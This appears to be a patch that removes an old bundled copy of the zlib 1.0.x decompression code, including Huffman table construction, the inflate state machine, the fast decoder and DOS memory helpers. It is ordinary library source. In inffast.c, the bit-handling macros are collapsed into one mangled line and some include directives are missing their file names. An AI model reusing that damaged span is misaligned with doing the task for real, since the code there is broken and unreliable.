OF(( - uIntf *, /* code lengths in bits */ - uInt, /* number of codes */ - uInt, /* number of "simple" codes */ - const uIntf *, /* list of base values for non-simple codes */ - const uIntf *, /* list of extra bits for non-simple codes */ - inflate_huft * FAR*,/* result: starting table */ - uIntf *, /* maximum lookup bits (returns actual) */ - z_streamp )); /* for zalloc function */ - -local voidpf falloc OF(( - voidpf, /* opaque pointer (not used) */ - uInt, /* number of items */ - uInt)); /* size of item */ - -/* Tables for deflate from PKZIP's appnote.txt. */ -local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ - 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, - 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; - /* see note #13 above about 258 */ -local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, - 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ -local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ - 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, - 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, - 8193, 12289, 16385, 24577}; -local const uInt cpdext[30] = { /* Extra bits for distance codes */ - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, - 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, - 12, 12, 13, 13}; - -/* - Huffman code decoding is performed using a multi-level table lookup. - The fastest way to decode is to simply build a lookup table whose - size is determined by the longest code. However, the time it takes - to build this table can also be a factor if the data being decoded - is not very long. The most common codes are necessarily the - shortest codes, so those codes dominate the decoding time, and hence - the speed. The idea is you can have a shorter table that decodes the - shorter, more probable codes, and then point to subsidiary tables for - the longer codes. The time it costs to decode the longer codes is - then traded against the time it takes to make longer tables. - - This results of this trade are in the variables lbits and dbits - below. lbits is the number of bits the first level table for literal/ - length codes can decode in one step, and dbits is the same thing for - the distance codes. Subsequent tables are also less than or equal to - those sizes. These values may be adjusted either when all of the - codes are shorter than that, in which case the longest code length in - bits is used, or when the shortest code is *longer* than the requested - table size, in which case the length of the shortest code in bits is - used. - - There are two different values for the two tables, since they code a - different number of possibilities each. The literal/length table - codes 286 possible values, or in a flat code, a little over eight - bits. The distance table codes 30 possible values, or a little less - than five bits, flat. The optimum values for speed end up being - about one bit more than those, so lbits is 8+1 and dbits is 5+1. - The optimum values may differ though from machine to machine, and - possibly even between compilers. Your mileage may vary. - */ - - -/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ -#define BMAX 15 /* maximum bit length of any code */ -#define N_MAX 288 /* maximum number of codes in any set */ - -#ifdef DEBUG_ZLIB - uInt inflate_hufts; -#endif - -local int huft_build( -uIntf *b, /* code lengths in bits (all assumed <= BMAX) */ -uInt n, /* number of codes (assumed <= N_MAX) */ -uInt s, /* number of simple-valued codes (0..s-1) */ -const uIntf *d, /* list of base values for non-simple codes */ -const uIntf *e, /* list of extra bits for non-simple codes */ -inflate_huft * FAR *t, /* result: starting table */ -uIntf *m, /* maximum lookup bits, returns actual */ -z_streamp zs /* for zalloc function */ -) -/* Given a list of code lengths and a maximum table size, make a set of - tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR - if the given code set is incomplete (the tables are still built in this - case), Z_DATA_ERROR if the input is invalid (an over-subscribed set of - lengths), or Z_MEM_ERROR if not enough memory. */ -{ - - uInt a; /* counter for codes of length k */ - uInt c[BMAX+1]; /* bit length count table */ - uInt f; /* i repeats in table every f entries */ - int g; /* maximum code length */ - int h; /* table level */ - register uInt i; /* counter, current code */ - register uInt j; /* counter */ - register int k; /* number of bits in current code */ - int l; /* bits per table (returned in m) */ - register uIntf *p; /* pointer into c[], b[], or v[] */ - inflate_huft *q; /* points to current table */ - struct inflate_huft_s r; /* table entry for structure assignment */ - inflate_huft *u[BMAX]; /* table stack */ - uInt v[N_MAX]; /* values in order of bit length */ - register int w; /* bits before this table == (l * h) */ - uInt x[BMAX+1]; /* bit offsets, then code stack */ - uIntf *xp; /* pointer into x */ - int y; /* number of dummy codes added */ - uInt z; /* number of entries in current table */ - - - /* Generate counts for each bit length */ - p = c; -#define C0 *p++ = 0; -#define C2 C0 C0 C0 C0 -#define C4 C2 C2 C2 C2 - C4 /* clear c[]--assume BMAX+1 is 16 */ - p = b; i = n; - do { - c[*p++]++; /* assume all entries <= BMAX */ - } while (--i); - if (c[0] == n) /* null input--all zero length codes */ - { - *t = (inflate_huft *)Z_NULL; - *m = 0; - return Z_OK; - } - - - /* Find minimum and maximum length, bound *m by those */ - l = *m; - for (j = 1; j <= BMAX; j++) - if (c[j]) - break; - k = j; /* minimum code length */ - if ((uInt)l < j) - l = j; - for (i = BMAX; i; i--) - if (c[i]) - break; - g = i; /* maximum code length */ - if ((uInt)l > i) - l = i; - *m = l; - - - /* Adjust last length count to fill out codes, if needed */ - for (y = 1 << j; j < i; j++, y <<= 1) - if ((y -= c[j]) < 0) - return Z_DATA_ERROR; - if ((y -= c[i]) < 0) - return Z_DATA_ERROR; - c[i] += y; - - - /* Generate starting offsets into the value table for each length */ - x[1] = j = 0; - p = c + 1; xp = x + 2; - while (--i) { /* note that i == g from above */ - *xp++ = (j += *p++); - } - - - /* Make a table of values in order of bit lengths */ - p = b; i = 0; - do { - if ((j = *p++) != 0) - v[x[j]++] = i; - } while (++i < n); - n = x[g]; /* set n to length of v */ - - - /* Generate the Huffman codes and for each, make the table entries */ - x[0] = i = 0; /* first Huffman code is zero */ - p = v; /* grab values in bit order */ - h = -1; /* no tables yet--level -1 */ - w = -l; /* bits decoded == (l * h) */ - u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ - q = (inflate_huft *)Z_NULL; /* ditto */ - z = 0; /* ditto */ - - /* go through the bit lengths (k already is bits in shortest code) */ - for (; k <= g; k++) - { - a = c[k]; - while (a--) - { - /* here i is the Huffman code of length k bits for value *p */ - /* make tables up to required level */ - while (k > w + l) - { - h++; - w += l; /* previous table always l bits */ - - /* compute minimum size table less than or equal to l bits */ - z = g - w; - z = z > (uInt)l ? l : z; /* table size upper limit */ - if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ - { /* too few codes for k-w bit table */ - f -= a + 1; /* deduct codes from patterns left */ - xp = c + k; - if (j < z) - while (++j < z) /* try smaller tables up to z bits */ - { - if ((f <<= 1) <= *++xp) - break; /* enough codes to use up j bits */ - f -= *xp; /* else deduct codes from patterns */ - } - } - z = 1 << j; /* table entries for j-bit table */ - - /* allocate and link in new table */ - if ((q = (inflate_huft *)ZALLOC - (zs,z + 1,sizeof(inflate_huft))) == Z_NULL) - { - if (h) - inflate_trees_free(u[0], zs); - return Z_MEM_ERROR; /* not enough memory */ - } -#ifdef DEBUG_ZLIB - inflate_hufts += z + 1; -#endif - *t = q + 1; /* link to list for huft_free() */ - *(t = &(q->next)) = Z_NULL; - u[h] = ++q; /* table starts after link */ - - /* connect to last table, if there is one */ - if (h) - { - x[h] = i; /* save pattern for backing up */ - r.bits = (Byte)l; /* bits to dump before this table */ - r.exop = (Byte)j; /* bits in this table */ - r.next = q; /* pointer to this table */ - j = i >> (w - l); /* (get around Turbo C bug) */ - u[h-1][j] = r; /* connect to last table */ - } - } - - /* set up table entry in r */ - r.bits = (Byte)(k - w); - if (p >= v + n) - r.exop = 128 + 64; /* out of values--invalid code */ - else if (*p < s) - { - r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ - r.base = *p++; /* simple code is just the value */ - } - else - { - r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ - r.base = d[*p++ - s]; - } - - /* fill code-like entries with r */ - f = 1 << (k - w); - for (j = i >> w; j < z; j += f) - q[j] = r; - - /* backwards increment the k-bit code i */ - for (j = 1 << (k - 1); i & j; j >>= 1) - i ^= j; - i ^= j; - - /* backup over finished tables */ - while ((i & ((1 << w) - 1)) != x[h]) - { - h--; /* don't need to update q */ - w -= l; - } - } - } - - - /* Return Z_BUF_ERROR if we were given an incomplete table */ - return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; -} - - -int inflate_trees_bits( -uIntf *c, /* 19 code lengths */ -uIntf *bb, /* bits tree desired/actual depth */ -inflate_huft * FAR *tb, /* bits tree result */ -z_streamp z /* for zfree function */ -) -{ - int r; - - r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, tb, bb, z); - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed dynamic bit lengths tree"; - else if (r == Z_BUF_ERROR || *bb == 0) - { - inflate_trees_free(*tb, z); - z->msg = (char*)"incomplete dynamic bit lengths tree"; - r = Z_DATA_ERROR; - } - return r; -} - - -int inflate_trees_dynamic( -uInt nl, /* number of literal/length codes */ -uInt nd, /* number of distance codes */ -uIntf *c, /* that many (total) code lengths */ -uIntf *bl, /* literal desired/actual bit depth */ -uIntf *bd, /* distance desired/actual bit depth */ -inflate_huft * FAR *tl, /* literal/length tree result */ -inflate_huft * FAR *td, /* distance tree result */ -z_streamp z /* for zfree function */ -) -{ - int r; - - /* build literal/length tree */ - r = huft_build(c, nl, 257, cplens, cplext, tl, bl, z); - if (r != Z_OK || *bl == 0) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed literal/length tree"; - else if (r != Z_MEM_ERROR) - { - inflate_trees_free(*tl, z); - z->msg = (char*)"incomplete literal/length tree"; - r = Z_DATA_ERROR; - } - return r; - } - - /* build distance tree */ - r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, z); - if (r != Z_OK || (*bd == 0 && nl > 257)) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed distance tree"; - else if (r == Z_BUF_ERROR) { -#ifdef PKZIP_BUG_WORKAROUND - r = Z_OK; - } -#else - inflate_trees_free(*td, z); - z->msg = (char*)"incomplete distance tree"; - r = Z_DATA_ERROR; - } - else if (r != Z_MEM_ERROR) - { - z->msg = (char*)"empty distance tree with lengths"; - r = Z_DATA_ERROR; - } - inflate_trees_free(*tl, z); - return r; -#endif - } - - /* done */ - return Z_OK; -} - - -/* build fixed tables only once--keep them here */ -local int fixed_built = 0; -#define FIXEDH 530 /* number of hufts used by fixed tables */ -local inflate_huft fixed_mem[FIXEDH]; -local uInt fixed_bl; -local uInt fixed_bd; -local inflate_huft *fixed_tl; -local inflate_huft *fixed_td; - - -local voidpf falloc( -voidpf q, /* opaque pointer */ -uInt n, /* number of items */ -uInt s /* size of item */ -) -{ - Assert(s == sizeof(inflate_huft) && n <= *(intf *)q, - "inflate_trees falloc overflow"); - *(intf *)q -= n+s-s; /* s-s to avoid warning */ - return (voidpf)(fixed_mem + *(intf *)q); -} - - -int inflate_trees_fixed( -uIntf *bl, /* literal desired/actual bit depth */ -uIntf *bd, /* distance desired/actual bit depth */ -inflate_huft * FAR *tl, /* literal/length tree result */ -inflate_huft * FAR *td /* distance tree result */ -) -{ - /* build fixed tables if not already (multiple overlapped executions ok) */ - if (!fixed_built) - { - int k; /* temporary variable */ - unsigned c[288]; /* length list for huft_build */ - z_stream z; /* for falloc function */ - int f = FIXEDH; /* number of hufts left in fixed_mem */ - - /* set up fake z_stream for memory routines */ - z.zalloc = falloc; - z.zfree = Z_NULL; - z.opaque = (voidpf)&f; - - /* literal table */ - for (k = 0; k < 144; k++) - c[k] = 8; - for (; k < 256; k++) - c[k] = 9; - for (; k < 280; k++) - c[k] = 7; - for (; k < 288; k++) - c[k] = 8; - fixed_bl = 7; - huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, &z); - - /* distance table */ - for (k = 0; k < 30; k++) - c[k] = 5; - fixed_bd = 5; - huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, &z); - - /* done */ - Assert(f == 0, "invalid build of fixed tables"); - fixed_built = 1; - } - *bl = fixed_bl; - *bd = fixed_bd; - *tl = fixed_tl; - *td = fixed_td; - return Z_OK; -} - - -int inflate_trees_free( -inflate_huft *t, /* table to free */ -z_streamp z /* for zfree function */ -) -/* Free the malloc'ed tables built by huft_build(), which makes a linked - list of the tables it made, with the links in a dummy first entry of - each table. */ -{ - register inflate_huft *p, *q, *r; - - /* Reverse linked list */ - p = Z_NULL; - q = t; - while (q != Z_NULL) - { - r = (q - 1)->next; - (q - 1)->next = p; - p = q; - q = r; - } - /* Go through linked list, freeing from the malloced (t[-1]) address. */ - while (p != Z_NULL) - { - q = (--p)->next; - ZFREE(z,p); - p = q; - } - return Z_OK; -} -/* --- inftrees.c */ - -/* +++ infcodes.c */ -/* infcodes.c -- process literals and length/distance pairs - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -/* +++ inffast.h */ -/* inffast.h -- header to use inffast.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -extern int inflate_fast OF(( - uInt, - uInt, - inflate_huft *, - inflate_huft *, - inflate_blocks_statef *, - z_streamp )); -/* --- inffast.h */ - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* inflate codes private state */ -struct inflate_codes_state { - - /* mode */ - enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - START, /* x: set up for LEN */ - LEN, /* i: get length/literal/eob next */ - LENEXT, /* i: getting length extra (have base) */ - DIST, /* i: get distance next */ - DISTEXT, /* i: getting distance extra */ - COPY, /* o: copying bytes in window, waiting for space */ - LIT, /* o: got literal, waiting for output space */ - WASH, /* o: got eob, possibly still output waiting */ - END, /* x: got eob and all data flushed */ - BADCODE} /* x: got error */ - mode; /* current inflate_codes mode */ - - /* mode dependent information */ - uInt len; - union { - struct { - inflate_huft *tree; /* pointer into tree */ - uInt need; /* bits needed */ - } code; /* if LEN or DIST, where in tree */ - uInt lit; /* if LIT, literal */ - struct { - uInt get; /* bits to get for extra */ - uInt dist; /* distance back to copy from */ - } copy; /* if EXT or COPY, where and how much */ - } sub; /* submode */ - - /* mode independent information */ - Byte lbits; /* ltree bits decoded per branch */ - Byte dbits; /* dtree bits decoder per branch */ - inflate_huft *ltree; /* literal/length/eob tree */ - inflate_huft *dtree; /* distance tree */ - -}; - - -inflate_codes_statef *inflate_codes_new( -uInt bl, -uInt bd, -inflate_huft *tl, -inflate_huft *td, /* need separate declaration for Borland C++ */ -z_streamp z -) -{ - inflate_codes_statef *c; - - if ((c = (inflate_codes_statef *) - ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) - { - c->mode = START; - c->lbits = (Byte)bl; - c->dbits = (Byte)bd; - c->ltree = tl; - c->dtree = td; - Tracev((stderr, "inflate: codes new\n")); - } - return c; -} - - -int inflate_codes(inflate_blocks_statef *s, z_streamp z, int r) -{ - uInt j; /* temporary storage */ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - Bytef *f; /* pointer to copy strings from */ - inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input and output based on current state */ - while (1) switch (c->mode) - { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - case START: /* x: set up for LEN */ -#ifndef SLOW - if (m >= 258 && n >= 10) - { - UPDATE - r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); - LOAD - if (r != Z_OK) - { - c->mode = r == Z_STREAM_END ? WASH : BADCODE; - break; - } - } -#endif /* !SLOW */ - c->sub.code.need = c->lbits; - c->sub.code.tree = c->ltree; - c->mode = LEN; - case LEN: /* i: get length/literal/eob next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e == 0) /* literal */ - { - c->sub.lit = t->base; - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: literal '%c'\n" : - "inflate: literal 0x%02x\n", t->base)); - c->mode = LIT; - break; - } - if (e & 16) /* length */ - { - c->sub.copy.get = e & 15; - c->len = t->base; - c->mode = LENEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - if (e & 32) /* end of block */ - { - Tracevv((stderr, "inflate: end of block\n")); - c->mode = WASH; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid literal/length code"; - r = Z_DATA_ERROR; - LEAVE - case LENEXT: /* i: getting length extra (have base) */ - j = c->sub.copy.get; - NEEDBITS(j) - c->len += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - c->sub.code.need = c->dbits; - c->sub.code.tree = c->dtree; - Tracevv((stderr, "inflate: length %u\n", c->len)); - c->mode = DIST; - case DIST: /* i: get distance next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e & 16) /* distance */ - { - c->sub.copy.get = e & 15; - c->sub.copy.dist = t->base; - c->mode = DISTEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid distance code"; - r = Z_DATA_ERROR; - LEAVE - case DISTEXT: /* i: getting distance extra */ - j = c->sub.copy.get; - NEEDBITS(j) - c->sub.copy.dist += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); - c->mode = COPY; - case COPY: /* o: copying bytes in window, waiting for space */ -#ifndef __TURBOC__ /* Turbo C bug for following expression */ - f = (uInt)(q - s->window) < c->sub.copy.dist ? - s->end - (c->sub.copy.dist - (q - s->window)) : - q - c->sub.copy.dist; -#else - f = q - c->sub.copy.dist; - if ((uInt)(q - s->window) < c->sub.copy.dist) - f = s->end - (c->sub.copy.dist - (uInt)(q - s->window)); -#endif - while (c->len) - { - NEEDOUT - OUTBYTE(*f++) - if (f == s->end) - f = s->window; - c->len--; - } - c->mode = START; - break; - case LIT: /* o: got literal, waiting for output space */ - NEEDOUT - OUTBYTE(c->sub.lit) - c->mode = START; - break; - case WASH: /* o: got eob, possibly more output */ - FLUSH - if (s->read != s->write) - LEAVE - c->mode = END; - case END: - r = Z_STREAM_END; - LEAVE - case BADCODE: /* x: got error */ - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -void inflate_codes_free(inflate_codes_statef *c, z_streamp z) -{ - ZFREE(z, c); - Tracev((stderr, "inflate: codes free\n")); -} -/* --- infcodes.c */ - -/* +++ infutil.c */ -/* inflate_util.c -- data and routines common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ -/* #include "inftrees.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* And'ing with mask[n] masks the lower n bits */ -uInt inflate_mask[17] = { - 0x0000, - 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, - 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff -}; - - -/* copy as much as possible from the sliding window to the output area */ -int inflate_flush(inflate_blocks_statef *s, z_streamp z, int r) -{ - uInt n; - Bytef *p; - Bytef *q; - - /* local copies of source and destination pointers */ - p = z->next_out; - q = s->read; - - /* compute number of bytes to copy as far as end of window */ - n = (uInt)((q <= s->write ? s->write : s->end) - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy as far as end of window */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - - /* see if more to copy at beginning of window */ - if (q == s->end) - { - /* wrap pointers */ - q = s->window; - if (s->write == s->end) - s->write = s->window; - - /* compute bytes to copy */ - n = (uInt)(s->write - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - } - - /* update pointers */ - z->next_out = p; - s->read = q; - - /* done */ - return r; -} -/* --- infutil.c */ - -/* +++ inffast.c */ -/* inffast.c -- process literals and length/distance pairs fast - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ -/* #include "inffast.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* macros for bit input with no checking and for returning unused bytes */ -#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<>3);p-=c;k&=7;} - -/* Called with number of bytes left to write in window at least 258 - (the maximum string length) and number of input bytes available - at least ten. The ten bytes are six bytes for the longest length/ - distance pair plus four bytes for overloading the bit buffer. */ - -int inflate_fast( -uInt bl, -uInt bd, -inflate_huft *tl, -inflate_huft *td, /* need separate declaration for Borland C++ */ -inflate_blocks_statef *s, -z_streamp z -) -{ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - uInt ml; /* mask for literal/length tree */ - uInt md; /* mask for distance tree */ - uInt c; /* bytes to copy */ - uInt d; /* distance back to copy from */ - Bytef *r; /* copy source pointer */ - - /* load input, output, bit values */ - LOAD - - /* initialize masks */ - ml = inflate_mask[bl]; - md = inflate_mask[bd]; - - /* do until not enough input or output space for fast loop */ - do { /* assume called with m >= 258 && n >= 10 */ - /* get literal/length code */ - GRABBITS(20) /* max bits for literal/length code */ - if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - continue; - } - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits for length */ - e &= 15; - c = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * length %u\n", c)); - - /* decode distance base of block to copy */ - GRABBITS(15); /* max bits for distance code */ - e = (t = td + ((uInt)b & md))->exop; - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits to add to distance base */ - e &= 15; - GRABBITS(e) /* get extra bits (up to 13) */ - d = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * distance %u\n", d)); - - /* do the copy */ - m -= c; - if ((uInt)(q - s->window) >= d) /* offset before dest */ - { /* just copy */ - r = q - d; - *q++ = *r++; c--; /* minimum count is three, */ - *q++ = *r++; c--; /* so unroll loop a little */ - } - else /* else offset after destination */ - { - e = d - (uInt)(q - s->window); /* bytes from offset to end */ - r = s->end - e; /* pointer to offset */ - if (c > e) /* if source crosses, */ - { - c -= e; /* copy to end of window */ - do { - *q++ = *r++; - } while (--e); - r = s->window; /* copy rest from start of window */ - } - } - do { /* copy all or what's left */ - *q++ = *r++; - } while (--c); - break; - } - else if ((e & 64) == 0) - e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop; - else - { - z->msg = (char*)"invalid distance code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - break; - } - if ((e & 64) == 0) - { - if ((e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - break; - } - } - else if (e & 32) - { - Tracevv((stderr, "inflate: * end of block\n")); - UNGRAB - UPDATE - return Z_STREAM_END; - } - else - { - z->msg = (char*)"invalid literal/length code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - } while (m >= 258 && n >= 10); - - /* not enough input or output--restore pointers and return */ - UNGRAB - UPDATE - return Z_OK; -} -/* --- inffast.c */ - -/* +++ zutil.c */ -/* zutil.c -- target dependent utility functions for the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: zutil.c,v 1.17 1996/07/24 13:41:12 me Exp $ */ - -#ifdef DEBUG_ZLIB -#include -#endif - -/* #include "zutil.h" */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#ifndef STDC -extern void exit OF((int)); -#endif - -static const char *z_errmsg[10] = { -"need dictionary", /* Z_NEED_DICT 2 */ -"stream end", /* Z_STREAM_END 1 */ -"", /* Z_OK 0 */ -"file error", /* Z_ERRNO (-1) */ -"stream error", /* Z_STREAM_ERROR (-2) */ -"data error", /* Z_DATA_ERROR (-3) */ -"insufficient memory", /* Z_MEM_ERROR (-4) */ -"buffer error", /* Z_BUF_ERROR (-5) */ -"incompatible version",/* Z_VERSION_ERROR (-6) */ -""}; - - -const char *zlibVersion() -{ - return ZLIB_VERSION; -} - -#ifdef DEBUG_ZLIB -void z_error (char *m) -{ - fprintf(stderr, "%s\n", m); - exit(1); -} -#endif - -#ifndef HAVE_MEMCPY - -void zmemcpy(Bytef* dest, Bytef* source, uInt len) -{ - if (len == 0) return; - do { - *dest++ = *source++; /* ??? to be unrolled */ - } while (--len != 0); -} - -int zmemcmp(Bytef* s1, Bytef* s2, uInt len) -{ - uInt j; - - for (j = 0; j < len; j++) { - if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; - } - return 0; -} - -void zmemzero(Bytef* dest, uInt len) -{ - if (len == 0) return; - do { - *dest++ = 0; /* ??? to be unrolled */ - } while (--len != 0); -} -#endif - -#ifdef __TURBOC__ -#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) -/* Small and medium model in Turbo C are for now limited to near allocation - * with reduced MAX_WBITS and MAX_MEM_LEVEL - */ -# define MY_ZCALLOC - -/* Turbo C malloc() does not allow dynamic allocation of 64K bytes - * and farmalloc(64K) returns a pointer with an offset of 8, so we - * must fix the pointer. Warning: the pointer must be put back to its - * original form in order to free it, use zcfree(). - */ - -#define MAX_PTR 10 -/* 10*64K = 640K */ - -local int next_ptr = 0; - -typedef struct ptr_table_s { - voidpf org_ptr; - voidpf new_ptr; -} ptr_table; - -local ptr_table table[MAX_PTR]; -/* This table is used to remember the original form of pointers - * to large buffers (64K). Such pointers are normalized with a zero offset. - * Since MSDOS is not a preemptive multitasking OS, this table is not - * protected from concurrent access. This hack doesn't work anyway on - * a protected system like OS/2. Use Microsoft C instead. - */ - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - voidpf buf = opaque; /* just to make some compilers happy */ - ulg bsize = (ulg)items*size; - - /* If we allocate less than 65520 bytes, we assume that farmalloc - * will return a usable pointer which doesn't have to be normalized. - */ - if (bsize < 65520L) { - buf = farmalloc(bsize); - if (*(ush*)&buf != 0) return buf; - } else { - buf = farmalloc(bsize + 16L); - } - if (buf == NULL || next_ptr >= MAX_PTR) return NULL; - table[next_ptr].org_ptr = buf; - - /* Normalize the pointer to seg:0 */ - *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; - *(ush*)&buf = 0; - table[next_ptr++].new_ptr = buf; - return buf; -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - int n; - if (*(ush*)&ptr != 0) { /* object < 64K */ - farfree(ptr); - return; - } - /* Find the original pointer */ - for (n = 0; n < next_ptr; n++) { - if (ptr != table[n].new_ptr) continue; - - farfree(table[n].org_ptr); - while (++n < next_ptr) { - table[n-1] = table[n]; - } - next_ptr--; - return; - } - ptr = opaque; /* just to make some compilers happy */ - Assert(0, "zcfree: ptr not found"); -} -#endif -#endif /* __TURBOC__ */ - - -#if defined(M_I86) && !defined(__32BIT__) -/* Microsoft C in 16-bit mode */ - -# define MY_ZCALLOC - -#if (!defined(_MSC_VER) || (_MSC_VER < 600)) -# define _halloc halloc -# define _hfree hfree -#endif - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - return _halloc((long)items, size); -} - -void zcfree 